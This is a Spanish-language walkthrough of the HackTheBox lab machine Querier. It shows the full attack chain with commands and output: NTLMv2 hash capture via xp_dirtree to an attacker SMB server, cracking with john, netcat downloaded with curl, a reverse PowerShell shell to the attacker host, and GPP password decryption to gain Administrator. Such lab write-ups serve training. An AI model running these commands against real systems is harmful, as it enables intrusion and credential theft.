Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos con servicios como smb
, mssql
y winrm
❯ nmap 10.10.10.125
Nmap scan report for 10.10.10.125
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
Si enumeramos un poco de información con crackmapexec
en SMB nos encontramos con que el nombre de la máquina es QUERIER
que pertenece al dominio htb.local
❯ crackmapexec smb 10.10.10.125
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
Al intentar listar los recursos compartidos como el usuario null
sin contraseña nos devuvelve que no encuentra el servidor para autenticarse que seria el DC
❯ crackmapexec smb 10.10.10.125 -u null -p '' --shares
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [-] HTB.LOCAL\null: STATUS_NO_LOGON_SERVERS
Podemos usar el parametro --local-auth
para usar autenticacion a nivel local
y no de dominio
ya que esta no funciona, al hacerlo podemos ver un recurso Reports
❯ crackmapexec smb 10.10.10.125 -u null -p '' --shares --local-auth
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:QUERIER) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] QUERIER\null:
SMB 10.10.10.125 445 QUERIER [+] Enumerated shares
SMB 10.10.10.125 445 QUERIER Share Permissions Remark
SMB 10.10.10.125 445 QUERIER ----- ----------- ------
SMB 10.10.10.125 445 QUERIER ADMIN$ Remote Admin
SMB 10.10.10.125 445 QUERIER C$ Default share
SMB 10.10.10.125 445 QUERIER IPC$ READ Remote IPC
SMB 10.10.10.125 445 QUERIER Reports READ
Con smbclient
nos conectarmos al recurso Reports
como el usuario null
sin contraseña, en el encontramos solo un archivo xlsm
asi que lo descargamos
❯ impacket-smbclient WORKGROUP/null@10.10.10.125 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use Reports
# ls
drw-rw-rw- 0 Mon Jan 28 18:26:31 2019 .
drw-rw-rw- 0 Mon Jan 28 18:26:31 2019 ..
-rw-rw-rw- 12229 Mon Jan 28 18:26:31 2019 Currency Volume Report.xlsm
# get Currency Volume Report.xlsm
#
Al abrir el archivo xlsm
con LibreOffice
encontramos un archivo vacio
Podemos ver si existen macros
existentes en este archivo en Tools > Macros
En el archivo existe una macro ThisWorkbook
que tiene una funcion Connect()
Esta define las credenciales del usuario reporting
para conectarse a MSSQL
y mediante una query leer el contenido de las columnas existentes en la tabla volume
Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
Shell - mssql-svc
Podemos comprobar las credenciales con crackmapexec
en autenticacion local
❯ crackmapexec smb 10.10.10.125 -u reporting -p 'PcwTWTHRwryjc$c6' --local-auth
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:QUERIER) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] QUERIER\reporting:PcwTWTHRwryjc$c6
Ya que en la macro se usan para eso nos conectaremos a mssql
agregando el parametro -windows-auth
ya que no es una autenticacion de sql
sino de windows
❯ impacket-mssqlclient WORKGROUP/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
Si intentamos habilitar el modulo xp_cmdshell
nos dice que no tenemos permisos
SQL> enable_xp_cmdshell
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL>
Podemos ejecutar xp_dirtree
dentro de mssql, para poder capturar la autenticacion crearemos un servidor smb usando la herramienta smbserver
de impacket
❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Ahora usando xp_dirtree
podemos hacer una petición al servidor smb
que creamos
SQL> xp_dirtree '\\10.10.14.10\kali'
subdirectory depth
------------ -----
SQL>
En la petición se tramita una autenticación
la cual nuestro servidor smb
intercepta y se traduce en un hash NTLMv2
en este caso perteneciente al usuario mssql-svc
❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.125,49675)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:1b8ac10f2ee096c04f0a953cc0e057a2:0101000000000000006e16f68ea7d901f2aa2691f0e877e100000000010010005700590069006700590045004100680003001000570059006900670059004500410068000200100059005400560052006700710065004c000400100059005400560052006700710065004c0007000800006e16f68ea7d90106000400020000000800300030000000000000000000000000300000ad7f5ab21619b2c8cf9a2feda9274e97076220880de0204c352e231f9ce2b88d0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e00310035003500000000000000000000000000
[*] Closing down connection (10.10.10.125,49675)
[*] Remaining connections []
Usando john
podemos pasarle el hash y obtener la contraseña de mssql-svc
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Nuevamente podemos comprobarla con crackmapexec
en una autenticacion local
❯ crackmapexec smb 10.10.10.125 -u mssql-svc -p corporate568 --local-auth
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:QUERIER) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] QUERIER\mssql-svc:corporate568
Con las credenciales de mssql-svc
tambien podemos conectarnos a mssql
❯ impacket-mssqlclient WORKGROUP/mssql-svc:corporate568@10.10.10.125 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
Si miramos los usuarios que son administradores
sobre mssql nos encontramos con varias cuentas de servicio
ademas del usuario Administrator
y mssql-svc
SQL> select name from syslogins where sysadmin = '1';
name
-------------------------
sa
QUERIER\Administrator
NT SERVICE\SQLWriter
NT SERVICE\Winmgmt
NT Service\MSSQLSERVER
NT SERVICE\SQLSERVERAGENT
QUERIER\mssql-svc
SQL>
Tenemos privilegios de administrador
lo que nos permite habilitar el modulo xp_cmdshell
y ejecutar comandos, en este caso lo hacemos como mssql-svc
SQL> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami
output
-----------------
querier\mssql-svc
SQL>
Para obtener una shell descargamos netcat.exe
de nuestra maquina y lo guardamos en el directorio ProgramData
, despues nos enviamos una powershell
a nuestro host
SQL> xp_cmdshell curl 10.10.14.10/netcat.exe -o C:\ProgramData\netcat.exe
output
--------------------------------------------------------------------------
SQL>
SQL> xp_cmdshell C:\ProgramData\netcat.exe 10.10.14.10 443 -e powershell
En nuestro listener recibimos una shell como mssql-svc
y podemos leer la flag
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.125
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
querier\mssql-svc
PS C:\Windows\system32> type C:\Users\mssql-svc\Desktop\user.txt
59b**************************c3a
PS C:\Windows\system32>
Shell - Administrator
Para escalar privilegios usaremos el modulo PowerUp.ps1, lo descargamos en la maquina y lo importamos a powershell
usando el comando Importe-Module
PS C:\Users\mssql-svc\Desktop> curl 10.10.14.10/PowerUp.ps1 -o PowerUp.ps1
PS C:\Users\mssql-svc\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\mssql-svc\Desktop>
Ahora para buscar formas de escalar
invocamos el modulo y busca varias vias
PS C:\Users\mssql-svc\Desktop> Invoke-AllChecks
Privilege : SeImpersonatePrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2212
ProcessId : 192
Name : 192
Check : Process Token Privileges
ServiceName : UsoSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart : True
Name : UsoSvc
Check : Modifiable Services
ModifiablePath : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
UnattendPath : C:\Windows\Panther\Unattend.xml
Name : C:\Windows\Panther\Unattend.xml
Check : Unattended Install Files
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check : Cached GPP Files
PS C:\Users\mssql-svc\Desktop>
Al terminar el comando nos muestra que ha encontrado una contraseña para Administrator
en un archivo GPP
, la cual nos la muestra en texto claro
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check : Cached GPP Files
Aunque ya nos la muestra en texto claro si leemos el archivo nos muestra un archivo xml
con un campo cpassword
el cual podemos desencriptar con gpp-decrypt
PS C:\Users\mssql-svc\Desktop> type 'C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml'
<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>
PS C:\Users\mssql-svc\Desktop>
❯ gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ
MyUnclesAreMarioAndLuigi!!1!
Al comprobarla localmente con crackmapexec
esta credencial devuelve un Pwn3d!
❯ crackmapexec smb 10.10.10.125 -u Administrator -p 'MyUnclesAreMarioAndLuigi!!1!' --local-auth
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:QUERIER) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] QUERIER\Administrator:MyUnclesAreMarioAndLuigi!!1! (Pwn3d!)
Ya que el puerto 5985
esta abierto podemos conectarnos usando las credenciales de Administrator
con la herramienta evil-winrm
, ahora podemos leer la ultima flag
❯ evil-winrm -i 10.10.10.125 -u Administrator -p 'MyUnclesAreMarioAndLuigi!!1!'
PS C:\Users\Administrator\Documents> whoami
querier\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
680**************************ef0
PS C:\Users\Administrator\Documents>